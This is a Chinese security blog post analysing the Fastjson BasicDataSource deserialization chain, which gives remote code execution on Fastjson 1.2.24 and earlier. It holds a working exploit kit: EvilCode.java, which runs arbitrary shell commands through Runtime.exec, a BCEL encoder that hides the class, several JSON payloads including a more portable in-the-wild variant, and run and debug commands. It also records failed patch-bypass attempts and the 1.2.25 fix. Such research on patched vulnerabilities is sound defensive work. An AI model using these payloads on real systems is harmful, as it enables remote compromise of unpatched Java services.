Fastjson BasicDataSource攻击链简介
2020-05-21 18:53:25 Author: blog.nsfocus.net(查看原文) 阅读量:485 收藏

阅读: 1

「声明: 文中涉及到的相关漏洞均为官方已经公开并修复的漏洞,涉及到的安全技术也仅用于企业安全建设和安全对抗研究。本文仅限业内技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。」

简介

这条攻击链用到”org.apache.tomcat.dbcp.dbcp.BasicDataSource”、”org.apache.tomcat.dbcp.dbcp2.BasicDataSource”或其他什么等价类。比较老,只能用于Fastjson 1.2.24及更低版本。

Fastjson攻击链更多是用”com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”和”com.sun.rowset.JdbcRowSetImpl”,后者能一直用到Fastjson 1.2.47。

本来太老的攻击链没打算深究,后来觉得其中用到的BCEL编码有点意思,就调试跟踪了一下。

95%的人几年前就学过这招,如果仍有兴趣,可直接看”简化版调用关系”和”小结”。

org.apache.tomcat.dbcp.dbcp.BasicDataSource攻击链

参[73],后面的PoC用到了如下库:

tomcat-dbcp-7.0.99.jar
dbcp-6.0.53.jar
tomcat-dbcp-9.0.20.jar
tomcat-juli-9.0.20.jar

FastjsonDeserialize2.java

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

/*

* javac -encoding GBK -g -cp "fastjson-1.2.24.jar:." FastjsonDeserialize2.java

*/

import java.io.*;

import java.nio.file.*;

import java.nio.charset.*;

import com.alibaba.fastjson.JSON;

public class FastjsonDeserialize2

{

    private static String readFile( String path, Charset encoding ) throws IOException

    {

        byte[]  buf = Files.readAllBytes( Paths.get( path ) );

        return new String( buf, encoding );

    }

    public static void main ( String[] argv ) throws Exception

    {

        /*

         * StandardCharsets.US_ASCII

         */

        String  str = readFile( argv[0], StandardCharsets.UTF_8 );

        Object  obj = JSON.parseObject( str );

    }

}

EvilCode.java

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

/*

* javac -encoding GBK -g EvilCode.java

*/

import java.io.*;

public class EvilCode

{

    static

    {

        String[]    argv    = new String[] { "0", "/bin/touch /tmp/scz_is_here" };

        try

        {

            Operator( argv );

        }

        catch ( Exception e )

        {

            e.printStackTrace( System.err );

        }

    }

    public EvilCode ()

    {

        System.out.println( "scz is here" );

    }

    public EvilCode ( Object[] argv ) throws Exception

    {

        Operator( argv );

    }

    public static void Operator ( Object[] argv ) throws Exception

    {

        int     opnum   = Integer.parseInt( ( String )argv[0] );

        String  cmd;

        switch ( opnum )

        {

        case 0 :

            cmd = ( String )argv[1];

            Operator_0( cmd );

            break;

        case 1 :

            cmd = ( String )argv[1];

            Operator_1( cmd );

            break;

        default:

            Operator_unknown();

            break;

        }

    }

    private static void Operator_0 ( String cmd ) throws Exception

    {

        Runtime.getRuntime().exec( new String[] { "/bin/sh", "-c", cmd } );

    }

    private static void Operator_1 ( String cmd ) throws Exception

    {

        String  ret = PrivateExec( cmd );

        throw new InvalidClassException( "\n[\n" + ret + "]\n" );

    }

    private static void Operator_unknown () throws Exception

    {

        throw new InvalidClassException( "\n[\nUnknown opnum\n]\n" );

    }

    private static String PrivateExec ( String cmd ) throws IOException

    {

        ProcessBuilder  pb  = new ProcessBuilder( "/bin/sh", "-c", cmd ).redirectErrorStream( true );

        Process         p   = pb.start();

        StringBuilder   ret = new StringBuilder( 256 );

        BufferedReader  in  = new BufferedReader( new InputStreamReader( p.getInputStream() ) );

        String          line;

        while ( true )

        {

            line    = in.readLine();

            if ( line == null )

            {

                break;

            }

            ret.append( line ).append( "\n" );

        }

        return( ret.toString() );

    }

}

EvilCode没必要写成这样,我是顺手挪用别处的代码,你完全可以精简之。

BCELEncode.java

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

/*

* javac -encoding GBK -g -XDignore.symbol.file BCELEncode.java

* java BCELEncode EvilCode.class

*/

import java.io.*;

import java.nio.file.Files;

import com.sun.org.apache.bcel.internal.classfile.Utility;

public class BCELEncode

{

    public static void main ( String[] argv ) throws Exception

    {

        String  filename    = argv[0];

        byte[]  buf         = Files.readAllBytes( ( new File( filename ) ).toPath() );

        /*

         * public static String encode(byte[] bytes, boolean compress)

         */

        String  str         = Utility.encode( buf, true );

        String  bcel        = "$$BCEL$$" + str;

        System.out.println( bcel );

    }

}

$ java BCELEncode EvilCode.class

$$BCEL$$$l$8b...$A$A

Utility.encode()的输出不包含”$$BCEL$$”前缀,需要自己增加。

BCELDecode.java

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

/*

* javac -encoding GBK -g -XDignore.symbol.file BCELDecode.java

* java BCELDecode <str> <out.class>

*/

import java.io.*;

import java.nio.file.*;

import com.sun.org.apache.bcel.internal.classfile.Utility;

public class BCELDecode

{

    public static void main ( String[] argv ) throws Exception

    {

        String  bcel        = argv[0];

        String  filename    = argv[1];

        int     index       = bcel.indexOf( "$$BCEL$$" );

        /*

         * if ( !bcel.startsWith( "$$BCEL$$" ) )

         */

        if ( index < 0 )

        {

            return;

        }

        String  str         = bcel.substring( index + 8 );

        /*

         * public static byte[] decode(String s, boolean uncompress)

         */

        byte[]  buf         = Utility.decode( str, true );

        Files.write

        (

            ( new File( filename ) ).toPath(),

            buf,

            new OpenOption[] { StandardOpenOption.CREATE, StandardOpenOption.TRUNCATE_EXISTING }

        );

    }

}

$ java BCELDecode '$$BCEL$$$l$8b...$A$A' /tmp/out.class

BCELDecode与攻击链无关,仅仅是因为前面有个负责编码的,出于程序员的本能反应,顺手写个负责解码的,保持对称性。

Fastjson_BasicDataSource.json

{

    '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource",

    'driverClassLoader':

    {

        '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader"

    },

    'driverClassName':'$$BCEL$$$l$8b...$A$A'

}

driverClassName属性的值就是BCELEncode输出的内容。

有人喜欢在PoC中用代码构造上述json内容,我的习惯是将各组件按自己的理解拆分,以保持边界感。没有什么特别优势,每个人的学习习惯不同,莫来我处装X。

java \

-cp "fastjson-1.2.14.jar:dbcp-6.0.53.jar:." \

FastjsonDeserialize2 Fastjson_BasicDataSource.json

java \

-cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \

FastjsonDeserialize2 Fastjson_BasicDataSource.json

这两条命令都能得手。

调试FastjsonDeserialize2:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \

-cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \

FastjsonDeserialize2 Fastjson_BasicDataSource.json

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in java.lang.Runtime.exec(java.lang.String[])

  [1] java.lang.Runtime.exec (Runtime.java:485), pc = 0

  [2] $$BCEL$$$l$8b...$A$A.Operator_0 (EvilCode.java:55), pc = 21

  [3] $$BCEL$$$l$8b...$A$A.Operator (EvilCode.java:41), pc = 44

  [4] $$BCEL$$$l$8b...$A$A.<clinit> (EvilCode.java:14), pc = 16

  [5] java.lang.Class.forName0 (native method)

  [6] java.lang.Class.forName (Class.java:348), pc = 49

  [7] org.apache.tomcat.dbcp.dbcp.BasicDataSource.createConnectionFactory (BasicDataSource.java:1,559), pc = 36

  [8] org.apache.tomcat.dbcp.dbcp.BasicDataSource.createDataSource (BasicDataSource.java:1,467), pc = 30

  [9] org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection (BasicDataSource.java:1,103), pc = 1

  [10] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method)

  [11] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100

  [12] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6

  [13] java.lang.reflect.Method.invoke (Method.java:498), pc = 56

  [14] com.alibaba.fastjson.util.FieldInfo.get (FieldInfo.java:451), pc = 16

  [15] com.alibaba.fastjson.serializer.FieldSerializer.getPropertyValue (FieldSerializer.java:114), pc = 5

  [16] com.alibaba.fastjson.serializer.JavaBeanSerializer.getFieldValuesMap (JavaBeanSerializer.java:439), pc = 50

  [17] com.alibaba.fastjson.JSON.toJSON (JSON.java:902), pc = 313

  [18] com.alibaba.fastjson.JSON.toJSON (JSON.java:824), pc = 4

  [19] com.alibaba.fastjson.JSON.parseObject (JSON.java:206), pc = 18

  [20] FastjsonDeserialize2.main (FastjsonDeserialize2.java:23), pc = 11

简化版调用关系

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

JSON.parseObject                                        // 8u232+1.2.24+7.0.99

  JSON.parse                                            // JSON:201

    JSON.parse                                          // JSON:128

      DefaultJSONParser.parse                           // JSON:137

        DefaultJSONParser.parse                         // DefaultJSONParser:1293

          DefaultJSONParser.parseObject                 // DefaultJSONParser:1327

            JavaBeanDeserializer.deserialze             // DefaultJSONParser:368

              JavaBeanDeserializer.parseRest            // JavaBeanDeserializer:184

                JavaBeanDeserializer.deserialze         // JavaBeanDeserializer:922

                  JavaBeanDeserializer.parseField       // JavaBeanDeserializer:600

                    DefaultFieldDeserializer.parseField // JavaBeanDeserializer:773

                      FieldDeserializer.setValue        // DefaultFieldDeserializer:83

                        BasicDataSource.setDriverClassLoader

                                                        // FieldDeserializer:96

                        BasicDataSource.setDriverClassName

                                                        // 攻击者可控

  JSON.toJSON                                           // JSON:206

    JSON.toJSON                                         // JSON:824

      JavaBeanSerializer.getFieldValuesMap              // JSON:902

        FieldSerializer.getPropertyValue                // JavaBeanSerializer:439

          FieldInfo.get                                 // FieldSerializer:114

            BasicDataSource.getConnection               // FieldInfo:451

              BasicDataSource.createDataSource          // BasicDataSource:1103

                BasicDataSource.createConnectionFactory // BasicDataSource:1467

                  Class.forName                         // BasicDataSource:1559

                                                        // 第二形参initialize等于true

                    Class.forName0                      // java.lang.Class:348

                      java.lang.ClassLoader.loadClass

                        util.ClassLoader.loadClass      // java.lang.ClassLoader:351

                                                        // com.sun.org.apache.bcel.internal.util.ClassLoader

                          if (class_name.indexOf("$$BCEL$$") >= 0)

                                                        // util.ClassLoader:151

                          util.ClassLoader.createClass  // util.ClassLoader:152

                            index = class_name.indexOf("$$BCEL$$")

                                                        // util.ClassLoader:199

                            real_name = class_name.substring(index + 8)

                                                        // util.ClassLoader:200

                            Utility.decode              // util.ClassLoader:204

                                                        // com.sun.org.apache.bcel.internal.classfile.Utility

                                                        // BCEL解码

                            ClassParser.<init>          // util.ClassLoader:205

                                                        // com.sun.org.apache.bcel.internal.classfile.ClassParser

                            ClassParser.parse           // util.ClassLoader:207

                              JavaClass.<clinit>        // ClassParser:206

                              JavaClass.<init>          // ClassParser:206

                                                        // com.sun.org.apache.bcel.internal.classfile.JavaClass

                          bytes = clazz.getBytes()      // util.ClassLoader:162

                          java.lang.ClassLoader.defineClass

                                                        // util.ClassLoader:163

                                                        // cl = defineClass(class_name, bytes, 0, bytes.length)

                                                        // class_name等于driverClassName属性值

                                                        // bytes源自driverClassName属性值的BCEL解码

                            ClassLoader.defineClass     // java.lang.ClassLoader:635

                              java.lang.ClassLoader.defineClass1

                                                        // java.lang.ClassLoader:756

                                                        // defineClass()并不会执行静态代码块

                      EvilCode.<clinit>                 // 静态代码块

                                                        // Class.forName0()中会执行静态代码块

                                                        // 但不是通过defineClass()触发的

                        Runtime.exec

                  Class.newInstance                     // BasicDataSource:1584

                    EvilCode.<init>                     // 无参构造函数

                      PrintStream.println

com.sun.org.apache.bcel.internal.util.ClassLoader加载class时检查class_name是否动用过BCEL编码,如果是,class_name就不只是类名,还包含类的字节码的BCEL编码。util.ClassLoader会从类名中析取字节码并加载之,这可真是骚操作,太邪恶了。

为什么FastjsonDeserialize未能得手

java \
-cp “fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:.” \
FastjsonDeserialize Fastjson_BasicDataSource.json

上述命令使用FastjsonDeserialize,未能得手,不抛异常,静默结束。

FastjsonDeserialize调的是:

JSON.parseObject( fis, Object.class, Feature.SupportNonPublicField )

FastjsonDeserialize2调的是:

调试后确认前者内部不会调用JSON.toJSON(),从而无法触发EvilCode.。这个例子说明,JSON.parseObject()的不同重载版本对攻击链的反应各不相同,不要笼而统之地说函数名,一定要精确描述测试时所用上下文。

1.2.25的修补方案

java \

-cp "fastjson-1.2.25.jar:tomcat-dbcp-7.0.99.jar:." \

FastjsonDeserialize2 Fastjson_BasicDataSource.json

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. org.apache.tomcat.dbcp.dbcp.BasicDataSource

        at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:844)

        at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)

        at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)

        at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)

        at com.alibaba.fastjson.JSON.parse(JSON.java:137)

        at com.alibaba.fastjson.JSON.parse(JSON.java:128)

        at com.alibaba.fastjson.JSON.parseObject(JSON.java:201)

        at FastjsonDeserialize2.main(FastjsonDeserialize2.java:23)

“org.apache.tomcat”、”com.sun.”打头的全进黑名单。

1.2.25至1.2.47的所有补丁绕过方案均无法用于BasicDataSource利用链,各有原因。

Fastjson_BasicDataSource_bad_0.json

{

    '@type':"[org.apache.tomcat.dbcp.dbcp.BasicDataSource"[{,

    'driverClassLoader':

    {

        '@type':"LLcom.sun.org.apache.bcel.internal.util.ClassLoader;;"

    },

    'driverClassName':'$$BCEL$$$l$8b...$A$A'

}

原始意图是进行补丁绕过,但1.2.25未能得手。

从1.2.25开始有一个无法绕过的检查:

/*

* 1.2.25

*

* com.alibaba.fastjson.parser.ParserConfig.checkAutoType

*

* 866行,这段检查完全是针对BasicDataSource利用链而来

*/

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger

        || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver

        ) {

    throw new JSONException("autoType is not support. " + typeName);

}

Fastjson_BasicDataSource_bad_1.json

[

    {

        '@type':"java.lang.Class",

        'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource'

    },

    {

        '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource",

        'driverClassLoader':

        {

            '@type':"[com.sun.org.apache.bcel.internal.util.ClassLoader"[{

        },

        'driverClassName':'$$BCEL$$$l$8b...$A$A'

    }

]

原始意图是进行补丁绕过,但1.2.25未能得手。

/*

* 1.2.25

*

* com.alibaba.fastjson.parser.ParserConfig.checkAutoType

*/

if (expectClass != null) {

    if (expectClass.isAssignableFrom(clazz)) {

        return clazz;

    } else {

/*

* 876行,此时expectClass等于"java.lang.ClassLoader",clazz等于

* "[com.sun.org.apache.bcel.internal.util.ClassLoader",后者是数组类型。

*/

        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());

    }

}

Fastjson_BasicDataSource_bad_2.json

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

{

    'a':

    {

        '@type':"java.lang.Class",

        'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource'

    },

    'b':

    {

        '@type':"java.lang.Class",

        'val':'com.sun.org.apache.bcel.internal.util.ClassLoader'

    },

    'c':

    {

        '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource",

        'driverClassLoader':

        {

            '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader"

        },

        'driverClassName':'$$BCEL$$$l$8b...$A$A'

    }

}

原始意图是进行补丁绕过,但1.2.25未能得手。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

/*

* 1.2.25

*

* com.alibaba.fastjson.parser.ParserConfig.checkAutoType

*

* 处理"com.sun.org.apache.bcel.internal.util.ClassLoader"时,虽然

* autoTypeSupport为false,但expectClass不为null,等于

* "java.lang.ClassLoader",下面的黑名单检查无法绕过

*/

if (autoTypeSupport || expectClass != null) {

    for (int i = 0; i < acceptList.length; ++i) {

        String accept = acceptList[i];

        if (className.startsWith(accept)) {

            return TypeUtils.loadClass(typeName, defaultClassLoader);

        }

    }

    for (int i = 0; i < denyList.length; ++i) {

        String deny = denyList[i];

        if (className.startsWith(deny)) {

/*

* 822行

*/

            throw new JSONException("autoType is not support. " + typeName);

        }

    }

}

Fastjson_BasicDataSource_bad_3.json

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

[

    {

        '@type':"java.lang.Class",

        'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource'

    },

    {

        '@type':"java.lang.Class",

        'val':'com.sun.org.apache.bcel.internal.util.ClassLoader'

    },

    {

        '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource",

        'driverClassLoader':

        {

            '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader"

        },

        'driverClassName':'$$BCEL$$$l$8b...$A$A'

    }

]

原始意图是进行补丁绕过,但1.2.25未能得手。失败原因同前。

org.apache.tomcat.dbcp.dbcp2.BasicDataSource

BasicDataSource所在package变了一点点,攻击原理同前。

Fastjson_BasicDataSource2.json

{

    '@type':"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",

    'driverClassLoader':

    {

        '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader"

    },

    'driverClassName':'$$BCEL$$$l$8b...$A$A'

}

java \

-cp "fastjson-1.2.24.jar:tomcat-dbcp-9.0.20.jar:tomcat-juli-9.0.20.jar:." \

FastjsonDeserialize2 Fastjson_BasicDataSource2.json

通用性更好的PoC

前面各小节写完后,发现存于待读队列中的KINGX的大作[76],我应该先读他这篇的,又多走了不少弯路。文中有个小八卦,应该是TSRC在2017年捕获到在野利用,其中有一个通用性更好的PoC,攻防双方都很厉害,佩服。

Fastjson_BasicDataSource3.json

这是KINGX所说的通用性更好的PoC。

{

    {

        '@type':"com.alibaba.fastjson.JSONObject",

        'a':

        {

            '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource",

            'driverClassLoader':

            {

                '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader"

            },

            'driverClassName':'$$BCEL$$$l$8b...$A$A'

        }

    }:'b'

}

反序列化时首先得到一个JSONObject对象,然后将该JSONObject对象置于”JSON Key”的位置。Fastjson在反序列化时会对”JSON Key”自动调用JSON.toString()。JSONObject是Map的子类,执行toString()时会将当前对象转为字符串形式,会提取类中所有Field,自然会执行相应的getter、is等方法,以此调用:

org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection()

为完成攻击,必须调用上述函数。前面都是KINGX给的解释性说明,不关我事。

JSON.parse()、JSON.parseObject()有很多重载版本,其行为各不相同。网上有一些关于它们的小结,比如哪些getter会被调用。但我要说一句,这些小结你可以领会其大意,但绝不要当成真理,我看到的所有这类小结都不严谨,以偏概全,某些情况下会误导你。

不说各种重载版本JSON.parse()、JSON.parseObject()之间的区别,单说网上常提的”符合特定条件的getter会被调用”。参看:

com.alibaba.fastjson.util.JavaBeanInfo.build()

那些所谓的特定条件都在这个函数中体现。建议看fastjson--sources.jar,如果用JD-GUI直接看fastjson-.jar,没有注释。参[33]。

在JavaBeanInfo.build()语境下,BasicDataSource.getConnection()不符合特定条件。而Fastjson_BasicDataSource3.json的写法增大了此getter被调用的可能性,这种写法不局限于BasicDataSource攻击链,诸君细品。

测试

java \

-cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \

FastjsonDeserialize Fastjson_BasicDataSource3.json

java \

-cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \

FastjsonDeserialize2 Fastjson_BasicDataSource3.json

与使用Fastjson_BasicDataSource.json时不同,上述两条命令均得手。

调试FastjsonDeserialize:

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \

-cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \

FastjsonDeserialize Fastjson_BasicDataSource3.json

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.setDriverClassLoader

stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.setDriverClassName

stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection()

stop in com.sun.org.apache.bcel.internal.util.ClassLoader.createClass

stop in java.lang.Runtime.exec(java.lang.String[])

stop in java.io.PrintStream.println(java.lang.String)

monitor wherei

简化版调用关系

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

JSON.parseObject                                                                // 8u232+1.2.24+7.0.99

  JSON.parseObject                                                              // JSON:422

    JSON.parseObject                                                            // JSON:452

      JSON.parseObject                                                          // JSON:370

        JSON.parseObject                                                        // JSON:270

          JSON.parseObject                                                      // JSON:307

            DefaultJSONParser.parseObject                                       // JSON:339

                                                                                // parseObject(Type type, Object fieldName)

              JavaObjectDeserializer.deserialze                                 // DefaultJSONParser:639

                DefaultJSONParser.parse                                         // JavaObjectDeserializer:45

                  DefaultJSONParser.parseObject                                 // DefaultJSONParser:1327

                                                                                // parseObject(Map object, Object fieldName)

                    DefaultJSONParser.parse                                     // DefaultJSONParser:296

                                                                                // key = parse()

                      DefaultJSONParser.parse                                   // DefaultJSONParser:1293

                        DefaultJSONParser.parseObject                           // DefaultJSONParser:1327

                          MapDeserializer.deserialze                            // DefaultJSONParser:368

                            DefaultJSONParser.parseObject                       // MapDeserializer:28

                              DefaultJSONParser.parseObject                     // DefaultJSONParser:1081

                                DefaultJSONParser.parseObject                   // DefaultJSONParser:1076

                                  DefaultJSONParser.parseObject                 // DefaultJSONParser:517

                                    JavaBeanDeserializer.deserialze             // DefaultJSONParser:368

                                      JavaBeanDeserializer.parseRest            // JavaBeanDeserializer:184

                                        JavaBeanDeserializer.deserialze         // JavaBeanDeserializer:922

                                          JavaBeanDeserializer.parseField       // JavaBeanDeserializer:600

                                            DefaultFieldDeserializer.parseField // JavaBeanDeserializer:773

                                              FieldDeserializer.setValue        // DefaultFieldDeserializer:83

                                                BasicDataSource.setDriverClassLoader

                                                                                // FieldDeserializer:96

                                                BasicDataSource.setDriverClassName

                                                                                // 攻击者可控

                    JSON.toString                                               // DefaultJSONParser:436

                                                                                // key = (key == null) ? "null" : key.toString()

                      JSON.toJSONString                                         // JSON:793

                        JSONSerializer.write                                    // JSON:799

                          MapSerializer.write                                   // JSONSerializer:275

                            BasicDataSource.getConnection                       // MapSerializer:251

                              BasicDataSource.createDataSource                  // BasicDataSource:1103

                                BasicDataSource.createConnectionFactory         // BasicDataSource:1467

                                  Class.forName                                 // BasicDataSource:1559

                                                                                // 第二形参initialize等于true

                                    Class.forName0                              // java.lang.Class:348

                                      java.lang.ClassLoader.loadClass

                                        util.ClassLoader.loadClass              // java.lang.ClassLoader:351

                                                                                // com.sun.org.apache.bcel.internal.util.ClassLoader

                                          if (class_name.indexOf("$$BCEL$$") >= 0)

                                                                                // util.ClassLoader:151

                                          util.ClassLoader.createClass          // util.ClassLoader:152

                                            index = class_name.indexOf("$$BCEL$$")

                                                                                // util.ClassLoader:199

                                            real_name = class_name.substring(index + 8)

                                                                                // util.ClassLoader:200

                                            Utility.decode                      // util.ClassLoader:204

                                                                                // com.sun.org.apache.bcel.internal.classfile.Utility

                                                                                // BCEL解码

                                            ClassParser.<init>                  // util.ClassLoader:205

                                                                                // com.sun.org.apache.bcel.internal.classfile.ClassParser

                                            ClassParser.parse                   // util.ClassLoader:207

                                              JavaClass.<clinit>                // ClassParser:206

                                              JavaClass.<init>                  // ClassParser:206

                                                                                // com.sun.org.apache.bcel.internal.classfile.JavaClass

                                          bytes = clazz.getBytes()              // util.ClassLoader:162

                                          java.lang.ClassLoader.defineClass

                                                                                // util.ClassLoader:163

                                                                                // cl = defineClass(class_name, bytes, 0, bytes.length)

                                                                                // class_name等于driverClassName属性值

                                                                                // bytes源自driverClassName属性值的BCEL解码

                                            ClassLoader.defineClass             // java.lang.ClassLoader:635

                                              java.lang.ClassLoader.defineClass1

                                                                                // java.lang.ClassLoader:756

                                                                                // defineClass()并不会执行静态代码块

                                      EvilCode.<clinit>                         // 静态代码块

                                                                                // Class.forName0()中会执行静态代码块

                                                                                // 但不是通过defineClass()触发的

                                        Runtime.exec

                                  Class.newInstance                             // BasicDataSource:1584

                                    EvilCode.<init>                             // 无参构造函数

                                      PrintStream.println

小结

BasicDataSource攻击链只能用于Fastjson 1.2.24及更低版本。

曾经用于JdbcRowSetImpl攻击链的1.2.25至1.2.47的所有补丁绕过方案均无法用于BasicDataSource攻击链,各有原因。

java.lang.Class.forName()有机会执行目标类静态代码块,jdb中可拦截some.<clinit>。

java.lang.ClassLoader.defineClass()并不会执行目标类静态代码块。

Class.forName0()中执行静态代码块时并不是通过ClassLoader.defineClass()触发的,native方法中另有触发点,触发点位于对defineClass()调用之后的某处。

com.sun.org.apache.bcel.internal.util.ClassLoader加载class时对类名有特殊流程,如果类名中包含”$$BCEL$$”子串,则判定此类名中还包含经BCEL编码过的类的字节码。此时util.ClassLoader会从特殊类名中解码还原出类的字节码并加载之,这个操作太邪恶。这是整个攻击过程中最有意思的部分,或许在别处用得上。

就BasicDataSource攻击链而言,可以不用静态代码块执行恶意代码,后面另有机会调用恶意类的无参构造函数,jdb中可拦截some.<init>。

“org.apache.tomcat.dbcp.dbcp2.BasicDataSource”亦可用于攻击。

参考资源

[32]

https://github.com/alibaba/fastjson

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.14/fastjson-1.2.14.jar

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.24/fastjson-1.2.24.jar

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.24/fastjson-1.2.24-sources.jar

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.25/fastjson-1.2.25.jar

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.25/fastjson-1.2.25-sources.jar

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.42/fastjson-1.2.42.jar

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.42/fastjson-1.2.42-sources.jar

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.43/fastjson-1.2.43.jar

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.43/fastjson-1.2.43-sources.jar

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.45/fastjson-1.2.45.jar

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.45/fastjson-1.2.45-sources.jar

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.47/fastjson-1.2.47.jar

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.47/fastjson-1.2.47-sources.jar

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.48/fastjson-1.2.48.jar

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.48/fastjson-1.2.48-sources.jar

[33] FastJson反序列化漏洞利用的三个细节TemplatesImpl利用链 – KINGX [2018-07-06]

https://mp.weixin.qq.com/s/C1Eo9wst9vAvF1jvoteFoA

https://paper.seebug.org/636/

[73]

https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/7.0.99/

https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/7.0.99/tomcat-dbcp-7.0.99.jar

https://repo1.maven.org/maven2/org/apache/tomcat/dbcp/6.0.53/

https://repo1.maven.org/maven2/org/apache/tomcat/dbcp/6.0.53/dbcp-6.0.53.jar

https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/9.0.20/

https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/9.0.20/tomcat-dbcp-9.0.20.jar

https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-juli/9.0.20/

https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-juli/9.0.20/tomcat-juli-9.0.20.jar

[76] Java动态类加载 当FastJson遇到内网 – KINGX [2019-12-31]

https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html


文章来源: http://blog.nsfocus.net/fastjson-basicdatasource-attack-chain-0521/
如有侵权请联系:admin#unsafe.sh